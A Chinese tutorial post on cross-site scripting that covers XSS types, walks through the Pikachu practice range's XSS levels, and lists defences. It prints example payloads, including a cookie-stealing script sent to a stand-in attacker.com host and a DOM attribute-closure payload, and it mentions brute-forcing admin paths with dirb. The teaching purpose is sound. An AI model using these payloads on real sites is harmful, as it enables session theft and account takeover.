Cross-Site Scripting(XSS)攻击

简介 

XSS(跨站脚本攻击)是一种常见的 Web 安全漏洞,攻击者通过在目标网站的输入框中注入恶意脚本,当其他用户(如管理员)查看包含恶意脚本的页面时,脚本会在他们的浏览器中执行。XSS 攻击可以分为以下几种类型:

  • 存储型 XSS:恶意脚本被存储在服务器的数据库或文件中,当其他用户访问包含恶意脚本的页面时,脚本会被执行。

  • 反射型 XSS:恶意脚本通过 URL 参数或表单提交被反射回用户浏览器,当用户访问包含恶意脚本的页面时,脚本会被执行。

  • DOM 型 XSS:恶意脚本通过修改页面的 DOM 结构,注入恶意脚本,当页面加载时,恶意脚本会被执行。

XSS 攻击步骤

1 识别漏洞

攻击者首先需要识别目标网站中存在 XSS 漏洞的输入点,例如:

  • 评论框

  • 反馈表单

  • 搜索框

  • URL 参数

2 注入恶意脚本

攻击者在识别的输入点中注入恶意脚本。常见的恶意脚本包括:

  • 弹出警告框<script>alert('XSS');</script>

  • 窃取 Cookie<script>document.location='http://attacker.com/steal?cookie='+document.cookie;</script>

  • 重定向<script>window.location='http://attacker.com';</script>

  • 修改页面内容<script>document.body.innerHTML='<h1>Hacked!</h1>';</script>

3 触发脚本执行

攻击者需要诱导其他用户(如管理员)访问包含恶意脚本的页面,从而触发脚本执行。常见的触发方式包括:

  • 钓鱼链接:攻击者发送包含恶意脚本的钓鱼链接,诱导用户点击。

  • 社交工程:攻击者通过社交工程手段,诱导用户访问包含恶意脚本的页面。

4 获取敏感信息

如果恶意脚本成功执行,攻击者可以获取用户的敏感信息,例如:

  • Cookie:通过窃取 Cookie,攻击者可以冒充用户身份,访问受保护的资源。

  • 会话令牌:通过窃取会话令牌,攻击者可以劫持用户的会话。

  • 其他敏感信息:攻击者可以通过恶意脚本获取用户的其他敏感信息,如用户名、密码等。

下面介绍pikachu靶场的Cross-Site Scripting(XSS)的通关

XSS类型

1.反射型(get)

看到题目表单输入就要考虑是否有xss漏洞

  • 构造payload尝试:发现我们的输入收到限制,属于前端的限制

  • 查看代码尝试修改使得能够输入 

 

  • 对限制长度做出修改

 

  • 修改之后提交设置好的payload发现能够执行了,说明存在漏洞 

 


 2.反射型(POST)

使用已经爆破的用户和密码进行登入发现和上一关是一样的了

 

  • 构造payload后发现也能执行弹框 

 

  • POST与get方法不同的在于post方式提交表单时在URL不会显示,而get方式提交会在URL中显示提交的信息 

 3.存储型XSS

  • 看到时留言板也要想到XSS漏洞,尝试构造payload提交发现能执行,并且发现提交的信息已经进行了存储,当重新进入这个页面时依然会触发弹窗。

 


4.DOM型 XSS

  • 看到表单也是先尝试构造payload提交看看是否有变化 

 

  • 没有任何发现 
  • 查看源代码

 

  • 看到输入框中的内容就是代码中的str,可以尝试在这里构造一个闭合,实现弹窗
  • 重新设置payload: 'οnclick="alert("FF")" ,提交之后点击下面的提示文字发现实现了弹框。

 

 


5.DOM型XSS-X 

  • 与上一关类似,不同的是可以观察到提交的信息可以在URL的text看到,所以也是构造闭合payload后点击下方文字即可

看到弹窗 

 


 6.XSS之盲打

看到题目得输入框首先先随便输入脚本看看有何反应

 

 

  • 当点击提交之后发现没有任何有用的改变,url也没有变化
  • 之后再查看页面的源代码,只能发现post方法提交了输入的东西

 

  • 前端的代码看不出什么问题,尝试登入后台查看有没有什么发现,不知道后台的url,所以可以使用kali的dirb去爆破目录 
  • 登录后发现刚才提交的弹窗已经显示了 

 

  • 并且刚才构造的两个payload已经成功上传 

 


防范措施

为了防范 XSS 攻击,可以采取以下措施:

1 输入验证和过滤

  • 输入验证:对用户输入进行严格的验证,确保输入符合预期的格式和内容。

  • 输出编码:在将用户输入显示到页面上时,进行适当的编码(如 HTML 编码),防止恶意脚本执行。

2 Content Security Policy (CSP)

  • CSP:设置 Content Security Policy,限制页面中可以执行的脚本来源,防止外部脚本的执行。

3 安全头设置

  • X-XSS-Protection:启用浏览器内置的 XSS 过滤器,防止简单的 XSS 攻击。

  • X-Content-Type-Options:防止 MIME 类型嗅探,确保浏览器正确解析内容类型。

4 定期安全审计

  • 代码审查:定期进行代码审查,确保没有潜在的 XSS 漏洞。

  • 安全测试:使用自动化工具和手动测试方法,进行安全测试,如渗透测试、模糊测试等。

5 使用安全的库和框架

  • 使用安全的库和框架:使用经过验证的安全库和框架,避免使用过时或不安全的组件。

 先到这里吧!!!

Cross - Site ScriptingXSS)即跨站脚本攻击,因“Cross - site Scripting”的缩写“CSS”与“层叠样式表(Cascading Style Sheets)”冲突,为避免混淆,行业统一用 XSS 作为其简称[^1][^2]。 ### 定义 跨站脚本攻击是一种常见的 Web 安全漏洞,攻击者通过在目标网站注入恶意脚本,当用户访问该网站时,这些脚本会在用户的浏览器中执行,从而达到窃取用户信息等目的。 ### 原理 XSS 攻击的核心原理是 Web 应用程序对用户输入的内容未进行充分的过滤和验证,允许恶意脚本代码作为合法数据被包含在网页中。当其他用户访问包含恶意脚本的页面时,浏览器会执行这些脚本,使得攻击者可以获取用户的敏感信息,如会话令牌、用户名、密码等。 ### 核心类型 按触发方式区分,XSS 有三种核心类型。此外,还有一种特殊的类型 DOM - XSS - X,它结合了反射型 XSS 和 DOM 型 XSS 的特点。通常从浏览器的 URL 中获取输入数据,然后通过 JavaScript 操作 DOM 来执行恶意脚本。这种攻击方式类似反射型 XSS,通过 URL 参数传递恶意代码,但执行过程完全在客户端进行,无需服务器参与[^3]。 ### 危害 - **窃取用户信息**:攻击者可以利用 XSS 攻击获取用户的会话令牌、Cookie 等敏感信息,进而以用户的身份进行操作,如登录用户的账户、进行资金转移等。 - **网站钓鱼**:攻击者可以通过 XSS 攻击篡改网页内容,将用户引导至虚假的登录页面,骗取用户的用户名和密码。 - **传播恶意软件**:攻击者可以利用 XSS 攻击在网页中注入恶意软件的下载链接,当用户访问该页面时,可能会在不知情的情况下下载并安装恶意软件。 ### 防范措施 - **输入验证和过滤**:对用户输入的内容进行严格的验证和过滤,只允许合法的字符和格式通过。例如,使用白名单机制,只允许特定的字符和标签。 - **输出编码**:在将用户输入的内容输出到网页时,对其进行编码,将特殊字符转换为 HTML 实体,防止恶意脚本的执行。 - **设置 CSP(内容安全策略)**:通过设置 CSP 头,限制网页可以加载的资源来源,只允许从指定的域名加载脚本、样式表等资源,从而减少 XSS 攻击的风险。 - **HttpOnly 属性**:对于存储敏感信息的 Cookie,设置 HttpOnly 属性,使得 JavaScript 无法访问这些 Cookie,从而防止攻击者通过 XSS 攻击窃取 Cookie 信息。 ### 代码示例 以下是一个简单的 Python Flask 应用中对用户输入进行过滤的示例: ```python from flask import Flask, request, escape app = Flask(__name__) @app.route('/') def index(): user_input = request.args.get('input', '') # 对用户输入进行 HTML 转义 safe_input = escape(user_input) return f'你输入的内容是: {safe_input}' if __name__ == '__main__': app.run(debug=True) ```
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值